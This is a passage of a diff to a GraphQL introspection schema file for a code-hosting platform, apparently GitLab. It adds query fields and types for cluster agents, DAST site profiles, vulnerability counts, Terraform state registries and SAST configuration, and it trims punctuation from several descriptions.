+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipeline",
+ "description": "The pipeline after mutation",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Pipeline",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "ENUM",
"name": "PipelineStatusEnum",
"description": null,
@@ -31879,6 +35718,86 @@
"deprecationReason": null
},
{
+ "name": "clusterAgent",
+ "description": "Find a single cluster agent by name",
+ "args": [
+ {
+ "name": "name",
+ "description": "Name of the cluster agent",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgent",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "clusterAgents",
+ "description": "Cluster agents associated with the project",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ClusterAgentConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "complianceFrameworks",
"description": "Compliance frameworks associated with the project",
"args": [
@@ -32027,6 +35946,33 @@
"deprecationReason": null
},
{
+ "name": "dastSiteProfile",
+ "description": "DAST Site Profile associated with the project",
+ "args": [
+ {
+ "name": "id",
+ "description": "ID of the site profile",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "DastSiteProfileID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DastSiteProfile",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "dastSiteProfiles",
"description": "DAST Site Profiles associated with the project",
"args": [
@@ -33468,6 +37414,46 @@
"defaultValue": null
},
{
+ "name": "milestoneTitle",
+ "description": "Title of the milestone",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "sort",
+ "description": "Sort merge requests by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "MergeRequestSort",
+ "ofType": null
+ },
+ "defaultValue": "created_desc"
+ },
+ {
+ "name": "assigneeUsername",
+ "description": "Username of the assignee",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "authorUsername",
+ "description": "Username of the author",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -33999,7 +37985,7 @@
],
"type": {
"kind": "OBJECT",
- "name": "ProjectMemberConnection",
+ "name": "MemberInterfaceConnection",
"ofType": null
},
"isDeprecated": false,
@@ -34559,7 +38545,7 @@
},
{
"name": "sharedRunnersEnabled",
- "description": "Indicates if Shared Runners are enabled for the project",
+ "description": "Indicates if shared runners are enabled for the project",
"args": [
],
@@ -34867,6 +38853,36 @@
"defaultValue": null
},
{
+ "name": "sort",
+ "description": "List vulnerabilities by sort order",
+ "type": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySort",
+ "ofType": null
+ },
+ "defaultValue": "severity_desc"
+ },
+ {
+ "name": "hasResolution",
+ "description": "Returns only the vulnerabilities which have been resolved on default branch",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "hasIssues",
+ "description": "Returns only the vulnerabilities which have linked issues",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -34916,6 +38932,87 @@
"deprecationReason": null
},
{
+ "name": "vulnerabilitiesCountByDay",
+ "description": "Number of vulnerabilities per day for the project",
+ "args": [
+ {
+ "name": "startDate",
+ "description": "First day for which to fetch vulnerability history",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ISO8601Date",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "endDate",
+ "description": "Last day for which to fetch vulnerability history",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ISO8601Date",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilitiesCountByDayConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "vulnerabilityScanners",
"description": "Vulnerability scanners reported on the project vulnerabilties",
"args": [
@@ -34970,9 +39067,98 @@
},
{
"name": "vulnerabilitySeveritiesCount",
- "description": "Counts for each severity of vulnerability of the project",
+ "description": "Counts for each vulnerability severity in the project",
"args": [
-
+ {
+ "name": "projectId",
+ "description": "Filter vulnerabilities by project",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "reportType",
+ "description": "Filter vulnerabilities by report type",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityReportType",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "severity",
+ "description": "Filter vulnerabilities by severity",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySeverity",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "state",
+ "description": "Filter vulnerabilities by state",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "VulnerabilityState",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "scanner",
+ "description": "Filter vulnerabilities by scanner",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ }
],
"type": {
"kind": "OBJECT",
@@ -35133,7 +39319,7 @@
{
"kind": "OBJECT",
"name": "ProjectMember",
- "description": "Represents a Project Member",
+ "description": "Represents a Project Membership",
"fields": [
{
"name": "accessLevel",
@@ -36538,6 +40724,100 @@
"deprecationReason": null
},
{
+ "name": "instanceStatisticsMeasurements",
+ "description": "Get statistics on the instance",
+ "args": [
+ {
+ "name": "identifier",
+ "description": "The type of measurement/statistics to retrieve",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "ENUM",
+ "name": "MeasurementIdentifier",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "InstanceStatisticsMeasurementConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "issue",
+ "description": "Find an issue",
+ "args": [
+ {
+ "name": "id",
+ "description": "The global ID of the Issue",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "IssueID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Issue",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "iteration",
"description": "Find an iteration",
"args": [
@@ -36684,6 +40964,24 @@
"defaultValue": null
},
{
+ "name": "ids",
+ "description": "Filter projects by IDs",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -37080,6 +41378,36 @@
"defaultValue": null
},
{
+ "name": "sort",
+ "description": "List vulnerabilities by sort order",
+ "type": {
+ "kind": "ENUM",
+ "name": "VulnerabilitySort",
+ "ofType": null
+ },
+ "defaultValue": "severity_desc"
+ },
+ {
+ "name": "hasResolution",
+ "description": "Returns only the vulnerabilities which have been resolved on default branch",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "hasIssues",
+ "description": "Returns only the vulnerabilities which have linked issues",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "after",
"description": "Returns the elements in the list that come after the specified cursor.",
"type": {
@@ -37301,7 +41629,7 @@
{
"kind": "ENUM",
"name": "RegistryState",
- "description": "State of a Geo registry.",
+ "description": "State of a Geo registry",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -37597,6 +41925,20 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "upcomingRelease",
+ "description": "Indicates the release is an upcoming release",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -37612,6 +41954,20 @@
"description": "Represents an asset link associated with a release",
"fields": [
{
+ "name": "directAssetUrl",
+ "description": "Direct asset URL of the link",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "external",
"description": "Indicates the link points to an external resource",
"args": [
@@ -37979,6 +42335,24 @@
"description": "The connection type for Release.",
"fields": [
{
+ "name": "count",
+ "description": "Total count of collection",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "edges",
"description": "A list of edges.",
"args": [
@@ -38880,6 +43254,20 @@
"deprecationReason": null
},
{
+ "name": "lastTestReportState",
+ "description": "Latest requirement test report state",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "TestReportState",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "project",
"description": "Project to which the requirement belongs",
"args": [
@@ -39277,7 +43665,7 @@
{
"kind": "OBJECT",
"name": "RequirementStatesCount",
- "description": "Counts of requirements by their state.",
+ "description": "Counts of requirements by their state",
"fields": [
{
"name": "archived",
@@ -39863,7 +44251,7 @@
"fields": [
{
"name": "description",
- "description": "Analyzer description that is displayed on the form.",
+ "description": "Analyzer description that is displayed on the form",
"args": [
],
@@ -39877,7 +44265,7 @@
},
{
"name": "enabled",
- "description": "Indicates whether an analyzer is enabled.",
+ "description": "Indicates whether an analyzer is enabled",
"args": [
],
@@ -39891,7 +44279,7 @@
},
{
"name": "label",
- "description": "Analyzer label used in the config UI.",
+ "description": "Analyzer label used in the config UI",
"args": [
],
@@ -39905,7 +44293,7 @@
},
{
"name": "name",
- "description": "Name of the analyzer.",
+ "description": "Name of the analyzer",
"args": [
],
@@ -39916,6 +44304,59 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "variables",
+ "description": "List of supported variables",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "SastCiConfigurationEntityConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -40314,6 +44755,106 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "SastCiConfigurationEntityInput",
+ "description": "Represents an entity in SAST CI configuration",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "field",
+ "description": "CI keyword of entity",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "defaultValue",
+ "description": "Default value that is used if value is empty",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "value",
+ "description": "Current value of the entity",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "SastCiConfigurationInput",
+ "description": "Represents a CI configuration of SAST",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "global",
+ "description": "List of global entities related to SAST configuration",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "SastCiConfigurationEntityInput",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "pipeline",
+ "description": "List of pipeline entities related to SAST configuration",
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "SastCiConfigurationEntityInput",
+ "ofType": null
+ }
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "SastCiConfigurationOptionsEntity",
"description": "Represents an entity for options in SAST CI configuration",
@@ -40856,7 +45397,7 @@
{
"kind": "ENUM",
"name": "SecurityScannerType",
- "description": "The type of the security scanner.",
+ "description": "The type of the security scanner",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -40982,7 +45523,7 @@
{
"kind": "OBJECT",
"name": "SentryDetailedError",
- "description": "A Sentry error.",
+ "description": "A Sentry error",
"fields": [
{
"name": "count",
@@ -41467,7 +46008,7 @@
{
"kind": "OBJECT",
"name": "SentryError",
- "description": "A Sentry error. A simplified version of SentryDetailedError.",
+ "description": "A Sentry error. A simplified version of SentryDetailedError",
"fields": [
{
"name": "count",
@@ -41790,7 +46331,7 @@
{
"kind": "OBJECT",
"name": "SentryErrorCollection",
- "description": "An object containing a collection of Sentry errors, and a detailed error.",
+ "description": "An object containing a collection of Sentry errors, and a detailed error",
"fields": [
{
"name": "detailedError",
@@ -41902,7 +46443,7 @@
},
{
"name": "sort",
- "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default.",
+ "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -42105,7 +46646,7 @@
{
"kind": "OBJECT",
"name": "SentryErrorStackTrace",
- "description": "An object containing a stack trace entry for a Sentry error.",
+ "description": "An object containing a stack trace entry for a Sentry error",
"fields": [
{
"name": "dateReceived",
@@ -42229,7 +46770,7 @@
{
"kind": "OBJECT",
"name": "SentryErrorStackTraceEntry",
- "description": "An object containing a stack trace entry for a Sentry error.",
+ "description": "An object containing a stack trace entry for a Sentry error",
"fields": [
{
"name": "col",
@@ -42636,6 +47177,12 @@
"deprecationReason": null
},
{
+ "name": "EWM_SERVICE",
+ "description": null,
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "EXTERNAL_WIKI_SERVICE",
"description": null,
"isDeprecated": false,
@@ -44217,8 +48764,253 @@
},
{
"kind": "OBJECT",
+ "name": "TerraformStateRegistry",
+ "description": "Represents the sync and verification state of a terraform state",
+ "fields": [
+ {
+ "name": "createdAt",
+ "description": "Timestamp when the TerraformStateRegistry was created",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the TerraformStateRegistry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "lastSyncFailure",
+ "description": "Error message during sync of the TerraformStateRegistry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "lastSyncedAt",
+ "description": "Timestamp of the most recent successful sync of the TerraformStateRegistry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "retryAt",
+ "description": "Timestamp after which the TerraformStateRegistry should be resynced",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "retryCount",
+ "description": "Number of consecutive failed sync attempts of the TerraformStateRegistry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "state",
+ "description": "Sync state of the TerraformStateRegistry",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "RegistryState",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "terraformStateId",
+ "description": "ID of the TerraformState",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistryConnection",
+ "description": "The connection type for TerraformStateRegistry.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistryEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistry",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistryEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "TerraformStateRegistry",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "TestReport",
- "description": "Represents a requirement test report.",
+ "description": "Represents a requirement test report",
"fields": [
{
"name": "author",
@@ -44442,6 +49234,50 @@
"possibleTypes": null
},
{
+ "kind": "INTERFACE",
+ "name": "TimeboxBurnupTimeSeriesInterface",
+ "description": null,
+ "fields": [
+ {
+ "name": "burnupTimeSeries",
+ "description": "Daily scope and completed totals for burnup charts",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "BurnupChartDailyTotals",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": [
+ {
+ "kind": "OBJECT",
+ "name": "Iteration",
+ "ofType": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "Milestone",
+ "ofType": null
+ }
+ ]
+ },
+ {
"kind": "OBJECT",
"name": "Timelog",
"description": null,
@@ -44479,6 +49315,20 @@
"deprecationReason": null
},
{
+ "name": "note",
+ "description": "The note where the quick action to add the logged time was executed",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Note",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "spentAt",
"description": "Timestamp of when the time tracked was spent at",
"args": [
@@ -44673,7 +49523,7 @@
},
{
"name": "author",
- "description": "The owner of this todo",
+ "description": "The author of this todo",
"args": [
],
@@ -46877,7 +51727,7 @@
},
{
"name": "confidential",
- "description": "Indicates if the epic is confidential. Will be ignored if `confidential_epics` feature flag is disabled",
+ "description": "Indicates if the epic is confidential",
"type": {
"kind": "SCALAR",
"name": "Boolean",
@@ -47316,6 +52166,16 @@
"defaultValue": null
},
{
+ "name": "epicId",
+ "description": "The ID of the parent epic. NULL when removing the association",
+ "type": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -47730,6 +52590,16 @@
"defaultValue": null
},
{
+ "name": "lastTestReportState",
+ "description": "Creates a test report for the requirement with the given state",
+ "type": {
+ "kind": "ENUM",
+ "name": "TestReportState",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "clientMutationId",
"description": "A unique identifier for the client performing the mutation.",
"type": {
@@ -47842,26 +52712,6 @@
"defaultValue": null
},
{
- "name": "fileName",
- "description": "File name of the snippet",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
- "name": "content",
- "description": "Content of the snippet",
- "type": {
- "kind": "SCALAR",
- "name": "String",
- "ofType": null
- },
- "defaultValue": null
- },
- {
"name": "description",
"description": "Description of the snippet",
"type": {
@@ -48103,6 +52953,26 @@
"defaultValue": null
},
{
+ "name": "milestoneTitle",
+ "description": "Title of the milestone",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "sort",
+ "description": "Sort merge requests by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "MergeRequestSort",
+ "ofType": null
+ },
+ "defaultValue": "created_desc"
+ },
+ {
"name": "projectPath",
"description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.",
"type": {
@@ -48278,6 +53148,26 @@
"defaultValue": null
},
{
+ "name": "milestoneTitle",
+ "description": "Title of the milestone",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "sort",
+ "description": "Sort merge requests by this criteria",
+ "type": {
+ "kind": "ENUM",
+ "name": "MergeRequestSort",
+ "ofType": null
+ },
+ "defaultValue": "created_desc"
+ },
+ {
"name": "projectPath",
"description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.",
"type": {
@@ -48608,6 +53498,69 @@
"deprecationReason": null
},
{
+ "name": "starredProjects",
+ "description": "Projects starred by the user",
+ "args": [
+ {
+ "name": "search",
+ "description": "Search query",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ProjectConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "state",
"description": "State of the user",
"args": [
@@ -48997,6 +53950,16 @@
"possibleTypes": null
},
{
